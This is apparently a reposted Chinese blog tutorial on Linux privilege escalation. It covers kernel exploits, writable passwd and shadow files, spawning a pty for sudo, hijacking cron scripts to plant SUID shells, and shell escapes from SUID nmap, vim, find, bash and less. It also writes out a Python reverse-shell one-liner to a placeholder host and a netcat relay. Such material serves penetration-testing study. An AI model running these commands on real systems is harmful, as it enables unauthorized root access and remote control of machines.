Linux常見提權


常見的linux提權

內核漏洞提權

查看發行版

cat /etc/issue
cat /etc/*-release

查看內核版本

uname -a

查看已經安裝的程序

dpkg -l
rpm -qa

通過一些現有的exp,上傳到目標主機,執行exp,直接獲取root權限

github地址https://github.com/SecWiki/linux-kernel-exploits

明文root密碼權限

大多數linux系統的密碼都和/etc/passwd和/etc/shadow這兩個配置文件息息相關。passwd里面儲存了用戶,shadow里面是密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫的。shadow是僅root可讀寫的

典型的etc/passwd文件

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh ibuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

passwd由冒號分割,第一列是用戶名,第二列是密碼,x代表密碼hash被放在shadow里面了(這樣非root就看不到了)。而shadow里面最重要的就是密碼的hash

典型etc/shadow文件

root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
daemon:*:15730:0:99999:7::: bin:*:15730:0:99999:7::: sys:*:15730:0:99999:7::: sync:*:15730:0:99999:7::: games:*:15730:0:99999:7::: man:*:15730:0:99999:7::: lp:*:15730:0:99999:7::: mail:*:15730:0:99999:7::: news:*:15730:0:99999:7::: uucp:*:15730:0:99999:7::: proxy:*:15730:0:99999:7::: www-data:*:15730:0:99999:7::: backup:*:15730:0:99999:7::: list:*:15730:0:99999:7::: irc:*:15730:0:99999:7::: gnats:*:15730:0:99999:7::: nobody:*:15730:0:99999:7::: libuuid:!:15730:0:99999:7::: syslog:*:15730:0:99999:7::: mysql:!:15730:0:99999:7::: dovecot:*:15730:0:99999:7::: sshd:*:15730:0:99999:7::: postfix:*:15730:0:99999:7:::

查看權限

ls -l passwd shadow

如果passwd可寫,我們就可以把root的密碼字段(x)替換成一個已知密碼的hash(比如本機shadow里面的root密碼hash),這樣系統在驗證密碼時以passwd的為准,密碼就已知了。如果shadow可讀,我們可以讀走root的hash,然后用hashcat或者john暴力破解之。

 

密碼復用

很多管理員會重復使用密碼,因此數據庫或者web后台的密碼也許就是root密碼。

SUDO提權

在之前的Acid靶機滲透中提到

有了(疑似)root密碼怎么辦?你一定想ssh登陸。然而ssh很可能禁止root登陸,或是防火牆規則將你排除在外了。返回來想,我們不是有一個低權shell了嗎?找個辦法再上面“輸入”密碼就好了。顯然,直接在低權shell里面用sudo是不奏效的。這是因為出於安全考慮,linux要求用戶必須從終端設備(tty)中輸入密碼,而不是標准輸入(stdin)。換句話說,sudo在你輸入密碼的時候本質上是讀取了鍵盤,而不是bash里面輸入的字符。因此為了能夠輸入密碼,我們必須模擬一個終端設備。python就有這樣的功能。在shell里面輸入:

 python -c 'import pty;pty.spawn("/bin/sh")'

就用python簡歷了一個虛擬終端,然后就可以使用sudo等等命令了。

python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo su
sudo su
[sudo] password for www-data: 123456 Sorry, try again. [sudo] password for www-data: 

計划任務

系統內可能會有一些定時執行的任務,一般這些任務由crontab來管理,具有所屬用戶的權限。非root權限的用戶是不可以列出root用戶的計划任務的。但是/etc/內系統的計划任務可以被列出

ls -l /etc/cron*

默認這些程序以root權限執行,如果有幸遇到一個把其中腳本配置成任意用戶可寫的管理員,我們就可以修改腳本等回連rootshell了

打個比方,管理員設置了一個計划任務,定時使用clean,py清理文件。並且設置權限如下:

方法一:

我們復制了/bin/sh到/tmp下並為/tmp/sh啟用了SUID。使用編輯器打開sanitizer.py並將“rm -r /tmp/*”中的內容替換為以下兩行:

os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')

一段時間后,它將在/tmp目錄內創建一個具有SUID權限的sh文件,當你運行它時,你將會獲取root訪問權限

cd /tmp
ls
./sh
id
whoami 

方法二:

替換

os.system(‘chmod u+s /bin/dash)

一段時間后,它將為/bin/dash設置SUID權限,並且在運行時會給予root訪問權限。

/bin/dash
id
whoami

方法三:

在這種方法中,我們在rm -r /tmp/*的位置粘貼了python反向shell連接代碼,並在新的終端中啟動了netcat偵聽。=>直接反彈shell,彈回的是具有root權限的

還有一些方法,在下文的學習鏈接中,不一一贅述。

SUID提權

SUID是一種特殊的文件屬性,它允許用戶執行的文件以該文件的擁有者的身份運行

為文件附上這樣的權限命令:

chmod u+s

或者

chmod 4755

-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp 

像這樣有s標志位的可執行權限的文件,運行后就是以ROOT用戶執行

其中,大家熟知的具有提權功能的Linux可執行文件包括:

Nmap
Vim
find
Bash
More
Less
Nano
cp

 以下命令可以找到正在系統上運行的所有SUID可執行文件。准確的說,這個命令將從/目錄中查找具有SUID權限位且屬主為root的文件並輸出它們,然后將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

Nmap

較舊版本的Nmap(2.02至5.21)帶有交互模式,從而允許用戶執行shell命令。由於Nmap位於上面使用root權限執行的二進制文件列表中,因此可以使用交互式控制台來運行具有相同權限的shell。

nmap -V

 

 

為了啟動交互模式,可以使用Nmap參數“interactive”。

 

 以下命令將提供一個提權后的shell

nmap> !sh
sh-3.2# whoami
root

 

 此外,還有一個Metasploit模塊,也可以通過SUID Nmap二進制文件進行提權。

exploit/unix/local/setuid_nmap

 

Find

find命令 -exec參數可以用來指定系統命令,如果有py環境,可以直接將root權限,py反彈

py反彈命令:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

 

 

 

 

Vim

Vim的主要用途是用作文本編輯器。 但是,如果以SUID運行,它將繼承root用戶的權限,因此可以讀取系統上的所有文件。

vim.tiny /etc/shadow

 

 此外,我們還可以通過Vim運行shell來執行只有root才能完成的操作。

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

 

 

Bash

以下命令將以root身份打開一個bash shell

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

 

 

Less

程序Less也可以執行提權后的shell。同樣的方法也適用於其他許多命令。  

less /etc/passwd
!/bin/sh

 

 

劫持環境變量提權

放上文章,自己看不懂

https://www.freebuf.com/articles/system/173903.html

網絡與隱藏的服務

有一些服務器的服務會被配置成對內網或者對本機開放。通過對他們的攻擊我們有機會接觸更多的敏感文件,或是運氣足夠好碰上一個遠程root漏洞。

netstat -antup#查看各種網絡服務

 

 如果找到些神秘的服務,可以用netcat做個轉發

mkfifo backpipe
nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe

之后找漏洞,攻擊,從頭再來。

  

分享一些輔助linux提權的工具(github上都有)

 

 unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check

附上學習資料鏈接:

https://www.cnblogs.com/hookjoy/p/6612595.html 綜合

https://www.anquanke.com/post/id/86979  SUID

https://www.freebuf.com/articles/system/173903.html  劫持環境變量提權


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM